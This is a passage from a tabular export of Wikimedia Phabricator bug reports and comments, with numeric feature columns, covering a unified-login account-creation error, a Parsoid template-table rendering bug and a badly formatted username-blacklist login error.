Good call. The duplicate preference there makes no sense, and the contextually correct place to put this choice is on the login form.",,,1375301014,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8529411764705883,0.8529411764705882,"**swalling** wrote:

Good call. The duplicate preference there makes no sense, and the contextually correct place to put this choice is on the login form."
54335,Cannot create account: the requested username is already taken in the unified login system,"Account TCN7JM was created on most WMF wikis except one or two, due to rules in MediaWiki:Titleblacklist.

Before MW 1.22 it was possible for admin to create account for user (simpler than changing MediaWiki:Titleblacklist). Today I got following:

""Account creation error
Cannot create account: the requested username is already taken in the unified login system.""

Tried twice, thought that only filing bug report here will help, but workaround solved problem (created temp name and renamed it to wished name - TCN7JM).

Anyhow, that should not happen, as check for wanted user name on local wiki gave: ""User account ""TCN7JM"" is not registered.""

Account & wiki where bug occurred (for easier troubleshooting):

http://hr.wikipedia.org/wiki/Razgovor_sa_suradnikom:TCN7JM

Thanks!

--------------------------
**Version**: master
**Severity**: normal",Medium,50.0,1375295220,1690131472.0,PHID-USER-3hahyxmftu2sew3v6v6w,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_description,resolved,True,c2,1,False,False,False,-4,True,0.0,0.0,0.0,1.5,1.5,5.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.5,5.0,9.0,0.0,1.0,0.5,0.0,0.0,4.5,0.0,0.0,0.0,0.5,0.5,0.0,1.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.5,15.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,12.5,1.5,2.5,1.5,0.0,0.0,0.5,0.0,2.0,0.0,1.5,0.0,1.5,9.0,7.0,0.0,3.5,0.0,1.5,0.0,0.5,0.0,0.0,1.5,1.0,0.5,0.0,4.052941176470588,0.7294117647058824,"Account TCN7JM was created on most WMF wikis except one or two, due to rules in MediaWiki:Titleblacklist.

Before MW 1.22 it was possible for admin to create account for user (simpler than changing MediaWiki:Titleblacklist). Today I got following:

""Account creation error
Cannot create account: the requested username is already taken in the unified login system.""

Tried twice, thought that only filing bug report here will help, but workaround solved problem (created temp name and renamed it to wished name - TCN7JM).

Anyhow, that should not happen, as check for wanted user name on local wiki gave: ""User account ""TCN7JM"" is not registered.""

Account & wiki where bug occurred (for easier troubleshooting):

URL

Thanks!

--------------------------
**Version**: master
**Severity**: normal"
2163731,Cannot create account: the requested username is already taken in the unified login system,Special:CreateLocalAccount fixes this issue.,,,1690131472,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,3,True,,,516,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.857142857142857,1.0,Special:CreateLocalAccount fixes this issue.
449312,Cannot create account: the requested username is already taken in the unified login system,Hi can this be closed or is this still a problem.,,,1430071118,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,3,False,,,86,True,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.25,0.9166666666666666,Hi can this be closed or is this still a problem.
253333,Cannot create account: the requested username is already taken in the unified login system,"No problem at all, Andre.

> Could you elaborate why you would do that, and what your aim is?

What? Create account?

- I would like to create account because user asked me to.

- He asked me to because he can not do it himself.

- He can not do it because of MediaWiki:Titleblacklist

- That is already written in original bugreport

> And after reading this twice I still fail to understand which steps to perform
in which order, in order to reproduce the problem. Sorry. :-/

- Maybe we can go together through original bugreport:

""Account TCN7JM was created on most WMF wikis except one or two, due to rules in
MediaWiki:Titleblacklist.""

That means, ""Account TCN7JM was created on most WMF wikis"", but not on all wikis, due to rules in MediaWiki:Titleblacklist.

""Before MW 1.22 it was possible for admin to create account for user (simpler
than changing MediaWiki:Titleblacklist).""

That means, in earlier versions of MW it was possible for admin to create account for user which user himself/herself could not open.

""Today I got following: ""Account creation error
Cannot create account: the requested username is already taken in the unified
login system.""

That means, instead of MW creating new account, it miserably fails.

""Tried twice, thought that only filing bug report here will help, but workaround
solved problem (created temp name and renamed it to wished name - TCN7JM).""

That means I tried twice to create account, but MW repeatedly failed to do what is ordered to. Well, good thing is that behavior is consistent, but it would be nicer if behavior would be consistently smart than otherwise.

""Anyhow, that should not happen, as check for wanted user name on local wiki
gave: ""User account ""TCN7JM"" is not registered.""

Finally, that means MW fail should not happen.

Kind regards

   Speedy",,,1377675600,,PHID-USER-3hahyxmftu2sew3v6v6w,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,3,False,,,0,True,0.5,0.0,0.0,1.5,2.0,4.5,1.5,0.75,0.0,0.25,2.5,0.0,0.5,0.25,0.0,1.5,0.0,6.5,11.75,0.0,2.0,0.5,0.0,0.25,3.0,0.0,0.25,0.0,1.25,1.0,0.25,3.0,1.75,1.75,0.5,0.0,0.0,0.0,0.5,2.0,0.25,1.5,0.5,0.5,0.0,1.0,0.0,0.0,0.25,13.75,1.75,0.25,0.0,0.5,0.25,0.0,0.0,0.0,0.0,0.0,0.75,2.25,0.0,0.5,0.25,0.0,0.0,0.75,3.0,12.75,1.75,1.5,3.5,0.0,0.25,0.0,0.0,4.5,0.5,0.75,0.0,4.75,11.75,4.75,0.5,4.0,0.0,4.75,0.0,1.0,0.0,1.25,1.0,0.75,0.5,0.0,3.8239533287577214,0.6207675589110043,"No problem at all, Andre.

QUOTE

What? Create account?

- I would like to create account because user asked me to.

- He asked me to because he can not do it himself.

- He can not do it because of MediaWiki:Titleblacklist

- That is already written in original bugreport

QUOTE
in which order, in order to reproduce the problem. Sorry. :-/

- Maybe we can go together through original bugreport:

""Account TCN7JM was created on most WMF wikis except one or two, due to rules in
MediaWiki:Titleblacklist.""

That means, ""Account TCN7JM was created on most WMF wikis"", but not on all wikis, due to rules in MediaWiki:Titleblacklist.

""Before MW 1.22 it was possible for admin to create account for user (simpler
than changing MediaWiki:Titleblacklist).""

That means, in earlier versions of MW it was possible for admin to create account for user which user himself/herself could not open.

""Today I got following: ""Account creation error
Cannot create account: the requested username is already taken in the unified
login system.""

That means, instead of MW creating new account, it miserably fails.

""Tried twice, thought that only filing bug report here will help, but workaround
solved problem (created temp name and renamed it to wished name - TCN7JM).""

That means I tried twice to create account, but MW repeatedly failed to do what is ordered to. Well, good thing is that behavior is consistent, but it would be nicer if behavior would be consistently smart than otherwise.

""Anyhow, that should not happen, as check for wanted user name on local wiki
gave: ""User account ""TCN7JM"" is not registered.""

Finally, that means MW fail should not happen.

Kind regards

   Speedy"
253326,Cannot create account: the requested username is already taken in the unified login system,SpeedyGonsales: Could you answer comment 1 please?,,,1377620732,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,SpeedyGonsales: Could you answer comment 1 please?
253320,Cannot create account: the requested username is already taken in the unified login system,"> Before MW 1.22 it was possible for admin to create account for user 
> (simpler than changing MediaWiki:Titleblacklist).

Could you elaborate why you would do that, and what your aim is?

And after reading this twice I still fail to understand which steps to perform in which order, in order to reproduce the problem. Sorry. :-/",,,1375354567,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,6.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,12.0,2.0,4.0,10.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,8.0,12.0,2.0,2.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8125,0.7916666666666666,"QUOTE
QUOTE

Could you elaborate why you would do that, and what your aim is?

And after reading this twice I still fail to understand which steps to perform in which order, in order to reproduce the problem. Sorry. :-/"
54296,Certification templates not parsed correctly,"**Author:** `kwwilliams`

**Description:**
Per http://parsoid.wmflabs.org/en/User:Kww/certtable the failure to display the certification template tables in http://en.wikipedia.org/wiki/User:Kww/certtable (live version http://en.wikipedia.org/w/index.php?title=Metallica_%28album%29&oldid=566196578&veaction=edit) appears to be rooted in Parsoid. This means that it must be a different bug than 50589 but may be related to 44498.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44498
https://bugzilla.wikimedia.org/show_bug.cgi?id=50589",Medium,50.0,1375218540,1376520448.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7izdwvclddnvwzuhqhhd,task_description,resolved,True,c2,1,False,False,True,-5,True,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,1.0,10.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.511904761904762,0.5595238095238095,"**Author:** CODE

**Description:**
Per URL the failure to display the certification template tables in URL (live version URL appears to be rooted in Parsoid. This means that it must be a different bug than 50589 but may be related to 44498.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
251093,Certification templates not parsed correctly,"Yes, I noticed the other related bug and didn't re-enable it.  I meant to update the bug report, but I got sucked into verifying other bug fixes.",,,1376528440,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4,0.7714285714285715,"Yes, I noticed the other related bug and didn't re-enable it.  I meant to update the bug report, but I got sucked into verifying other bug fixes."
251087,Certification templates not parsed correctly,"**kwwilliams** wrote:

Please don't reenable editing on that page until 52254 is also fixed.",,,1376526304,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.8636363636363636,"**kwwilliams** wrote:

Please don't reenable editing on that page until 52254 is also fixed."
251082,Certification templates not parsed correctly,"This fix has now been deployed and verified that User:Kww/certtable now shows up correctly in VE.

I am going to reopen Metallica album page for editing.

Closing -- please reopen if you see a problem.",,,1376520448,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,16.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,14.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.840909090909091,0.8863636363636364,"This fix has now been deployed and verified that User:Kww/certtable now shows up correctly in VE.

I am going to reopen Metallica album page for editing.

Closing -- please reopen if you see a problem."
251077,Certification templates not parsed correctly,"Change 76842 merged by jenkins-bot:
(Bug 52296) Delete empty autoinserted tags in the last DOM pass

https://gerrit.wikimedia.org/r/76842",,,1375485226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.041666666666667,1.0,"Change 76842 merged by jenkins-bot:
(Bug 52296) Delete empty autoinserted tags in the last DOM pass

GERRIT_URL"
251072,Certification templates not parsed correctly,"The subst-related parse issues are unrelated to the bug that we are fixing here.  But, the patch above deals with the empty-cell scenarios that break the table on the Metallica album page.",,,1375224534,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,15.0,5.0,8.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.925,0.8,"The subst-related parse issues are unrelated to the bug that we are fixing here.  But, the patch above deals with the empty-cell scenarios that break the table on the Metallica album page."
251066,Certification templates not parsed correctly,"Change 76842 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 52296) Delete empty autoinserted tags in the last DOM pass

https://gerrit.wikimedia.org/r/76842",,,1375224169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.233333333333333,0.9666666666666667,"Change 76842 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 52296) Delete empty autoinserted tags in the last DOM pass

GERRIT_URL"
251061,Certification templates not parsed correctly,"**kwwilliams** wrote:

Based on ssastry's commment, I went ahead and did a ""subst"" on ""Certification Table Top"" and ""Certification Table Bottom"". It got worse: http://en.wikipedia.org/wiki/User:Kww/certtablesubst?veaction=edit and http://parsoid.wmflabs.org/en/User:Kww/certtablesubst",,,1375220508,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,0.0,14.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.395348837209302,0.6511627906976745,"**kwwilliams** wrote:

Based on ssastry's commment, I went ahead and did a ""subst"" on ""Certification Table Top"" and ""Certification Table Bottom"". It got worse: URL and URL"
251056,Certification templates not parsed correctly,"It is unrelated to 44498.  I've been investigating this and the parser introduces an empty <td></td> when parsing {{Certification Table Top}}.  This doesn't happen when I copy the wikitext verbatim and parse it on its own.  So, just an edge case which should be fixable relatively easily.",,,1375218947,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,13.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,5.0,13.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,8.0,3.0,5.0,0.0,0.0,0.0,8.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,5.0,3.8412698412698414,0.8095238095238095,"It is unrelated to 44498.  I've been investigating this and the parser introduces an empty <td></td> when parsing {{Certification Table Top}}.  This doesn't happen when I copy the wikitext verbatim and parse it on its own.  So, just an edge case which should be fixable relatively easily."
54191,Badly formatted login error when username banned from creation,"**Author:** `sumanah`

**Description:**
webpage displaying login error

This might be multiple bugs that need to be split up.

I went to zh.wikipedia.org and clicked the 登录 link in the upper right hand corner (next to the user icon) to sign in.  I presumed that my user account for User:Sharihareswara_(WMF) would get me in, thanks to SUL.

I know the login UI so it didn't bother me that it was labelled in a language I don't know.  I filled in:

Username: Sharihareswara (WMF)
Password: [correct password]

and got the following error message in red (see screenshots):

登录错误
<<table id=""mw-protectedpagetext"" class=""plainlinks fmbox fmbox-warning"" style=""clear: both; margin: 0.2em 0; border: 1px solid #aaa; background: #f9f9f9; width: 100%; background: #FFDBDB; border: 1px solid #BB7070;""> <tr> <td class=""mbox-text"" style=""""> <p>本用户已经被禁止创建，由于用户名“Sharihareswara (WMF)”和<a href=""/wiki/MediaWiki:Titleblacklist"" title=""MediaWiki:Titleblacklist"">本地</a>或<a href=""//meta.wikimedia.org/wiki/Title_blacklist"" class=""extiw"" title=""m:Title blacklist"">全域</a>黑名單<code> .*(apologise|war).* &lt;newaccountonly&gt;</code>配合。请确保用户名符合<a href=""/wiki/Wikipedia:%E7%94%A8%E6%88%B7%E5%90%8D"" title=""Wikipedia:用户名"">用户名方针</a>。如果需要协助，请参照<a href=""/wiki/Wikipedia:%E8%B4%A6%E5%8F%B7%E8%AF%B7%E6%B1%82"" title=""Wikipedia:账号请求"">Wikipedia:账号请求</a>所列指示直接向管理员申请账号或提交反馈。 </p> </td> </tr> </table> > 

When I switched to English via the ""：中文（简体）‎ | 中文（繁體）‎ | English | 日本語 | 한국어"" choices just above that error and tried again, I got:


Login error
<The user name ""Sharihareswara (WMF)"" has been banned from creation. It matches the following blacklist entry: <code> .*(apologise|war).* &lt;newaccountonly&gt;</code>> 


(My last name has the string ""war"" in it; never realized that before.)

However, if I tried logging in with an *incorrect* password, I got a well-formatted error ""Login error: Incorrect password entered. Please try again."" or ""登录错误: 你输入的密码错误。请重试"".  That error message doesn't reveal any of the <table> or <code> tags to the user in the message.

Therefore:

1) Zhwiki administrators or Chinese translators, could you fix the messaging for the ""this username has been banned from creation""?  I looked in https://translatewiki.net/w/i.php?title=Special:Translate&language=zh-hant&group=core&filter=&action=translate and I couldn't figure out what message needs fixing, sorry.

2) If the wiki's administrators have banned a particular user name from creation, but our SUL unification tries to make an account for them, then is it the right thing to do to still display a regular ""wrong password"" error message when someone tries to login with that username but gets the password wrong?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44718

**Attached**: {F11533}",Medium,50.0,1375015320,1382631131.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_description,resolved,True,c2,1,False,False,True,-5,True,0.16666666666666666,0.16666666666666666,0.0,0.6666666666666666,0.6666666666666666,4.0,0.16666666666666666,0.0,0.0,0.3333333333333333,2.1666666666666665,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,0.16666666666666666,3.0,6.5,0.16666666666666666,1.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.16666666666666666,0.5,0.16666666666666666,0.16666666666666666,2.3333333333333335,1.1666666666666667,0.8333333333333334,0.16666666666666666,0.16666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.16666666666666666,0.3333333333333333,1.1666666666666667,0.0,0.0,0.0,0.16666666666666666,0.3333333333333333,15.5,0.16666666666666666,0.8333333333333334,0.0,0.16666666666666666,0.0,0.0,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.6666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.16666666666666666,0.0,4.5,1.0,10.0,1.1666666666666667,1.8333333333333333,5.833333333333333,0.0,0.0,0.0,0.6666666666666666,2.8333333333333335,0.16666666666666666,0.3333333333333333,0.0,3.8333333333333335,6.5,8.5,0.3333333333333333,4.166666666666667,0.0,3.8333333333333335,0.0,0.6666666666666666,1.6666666666666667,0.5,0.8333333333333334,0.0,0.0,7.0,3.9833539476396616,0.6481825053253624,"**Author:** CODE

**Description:**
webpage displaying login error

This might be multiple bugs that need to be split up.

I went to zh.wikipedia.org and clicked the 登录 link in the upper right hand corner (next to the user icon) to sign in.  I presumed that my user account for User:Sharihareswara_(WMF) would get me in, thanks to SUL.

I know the login UI so it didn't bother me that it was labelled in a language I don't know.  I filled in:

Username: Sharihareswara (WMF)
Password: [correct password]

and got the following error message in red (see screenshots):

登录错误
<<table id=""mw-protectedpagetext"" class=""plainlinks fmbox fmbox-warning"" style=""clear: both; margin: 0.2em 0; border: 1px solid #aaa; background: #f9f9f9; width: 100%; background: #FFDBDB; border: 1px solid #BB7070;""> <tr> <td class=""mbox-text"" style=""""> <p>本用户已经被禁止创建，由于用户名“Sharihareswara (WMF)”和<a href=""/wiki/MediaWiki:Titleblacklist"" title=""MediaWiki:Titleblacklist"">本地</a>或<a href=""//meta.wikimedia.org/wiki/Title_blacklist"" class=""extiw"" title=""m:Title blacklist"">全域</a>黑名單<code> .*(apologise|war).* &lt;newaccountonly&gt;</code>配合。请确保用户名符合<a href=""/wiki/Wikipedia:%E7%94%A8%E6%88%B7%E5%90%8D"" title=""Wikipedia:用户名"">用户名方针</a>。如果需要协助，请参照<a href=""/wiki/Wikipedia:%E8%B4%A6%E5%8F%B7%E8%AF%B7%E6%B1%82"" title=""Wikipedia:账号请求"">Wikipedia:账号请求</a>所列指示直接向管理员申请账号或提交反馈。 </p> </td> </tr> </table> > 

When I switched to English via the ""：中文（简体）‎ | 中文（繁體）‎ | English | 日本語 | 한국어"" choices just above that error and tried again, I got:


Login error
<The user name ""Sharihareswara (WMF)"" has been banned from creation. It matches the following blacklist entry: <code> .*(apologise|war).* &lt;newaccountonly&gt;</code>> 


(My last name has the string ""war"" in it; never realized that before.)

However, if I tried logging in with an *incorrect* password, I got a well-formatted error ""Login error: Incorrect password entered. Please try again."" or ""登录错误: 你输入的密码错误。请重试"".  That error message doesn't reveal any of the <table> or <code> tags to the user in the message.

Therefore:

1) Zhwiki administrators or Chinese translators, could you fix the messaging for the ""this username has been banned from creation""?  I looked in URL and I couldn't figure out what message needs fixing, sorry.

